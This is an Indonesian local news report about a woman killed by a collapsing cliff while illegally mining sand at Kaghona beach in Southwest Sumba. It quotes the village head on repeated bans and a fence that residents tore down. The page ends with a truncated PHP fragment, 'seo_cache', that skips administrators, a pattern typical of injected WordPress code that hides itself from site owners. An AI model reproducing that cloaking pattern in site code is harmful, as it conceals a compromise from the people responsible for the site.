Breaking News

Tragis! Penambang Pasir Tewas Tertimbun Reruntuhan Tanah di Pantai Kaghona

×

Tragis! Penambang Pasir Tewas Tertimbun Reruntuhan Tanah di Pantai Kaghona

Sebarkan artikel ini

LOURA, MENARASUMBA.COM – Seorang penambang pasir dilaporkan meninggal dunia setelah tertimbun reruntuhan batu saat menggali pasir di Pantai Kaghona, Desa Bondo Boghila, Kecamatan Loura, Kabupaten Sumba Barat Daya, Selasa (09/06/2026).

Korban diketahui bernama Anna Susanti Kaza, warga Dusun III Kaghona, Desa Bondo Boghila, Kecamatan Loura.

Peristiwa nahas tersebut terjadi sekitar pukul 10.00 WITA saat korban bersama suaminya sedang menggali pasir di lokasi yang selama ini dikenal sebagai area yang dilarang untuk aktivitas penambangan .

Informasi yang dihimpun media ini, saat korban melakukan penggalian, tebing di lokasi tiba-tiba runtuh dan menimpa korban.

Kepala Desa Bondo Boghila, Agustinus Bulu Batu. ( Foto Menara Sumba )

Warga yang berada di sekitar lokasi berupaya memberikan pertolongan, namun nyawa korban tidak dapat diselamatkan.

Jenazah korban kemudian dievakuasi dan dibawa ke rumah duka.

Kepala Desa Bondo Boghila, Agustinus Bulu Batu, mengaku sangat menyesalkan peristiwa yang merenggut nyawa warganya itu.

Ia menegaskan, pemerintah desa telah berulang kali melarang aktivitas pengambilan pasir di lokasi tersebut karena merusak lingkungan dan sangat berbahaya.

“Sudah dilarang, tapi mereka ambil pasir secara sembunyi-sembunyi. Pasir di lokasi itu sebenarnya sudah habis sehingga mereka gali makin ke arah daratan dan membuat lubang di bawah tebing tanah yang kemudian runtuh menimpa korban,” ujarnya.

Agustinus menjelaskan, pemerintah desa bahkan pernah mengambil langkah pencegahan dengan memerintahkan kepala dusun memagar akses menuju lokasi.

Namun pagar tersebut dibongkar oleh oknum warga yang tetap ingin mengambil pasir melalui jalan alternatif.

“Teknik pengambilan pasir yang dilakukan sangat berbahaya. Sudah ulang kali kami beri tapi sia-sia,” katanya.

Atas kejadian tersebut, Kepala Desa kembali mengimbau seluruh warga untuk tidak lagi mengambil pasir di lokasi tersebut.

“Peristiwa ini jadi pelajaran berharga sehingga pengambilan pasir di tempat itu harus dihentikan. Sudah terbukti sekarang aktivitas tersebut membawa maut,” tegasnya.

Peristiwa ini merupakan yang pertama di wilayah tersebut dimana warga meninggal dunia akibat tertimbun reruntuhan saat melakukan aktivitas penambangan pasir. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>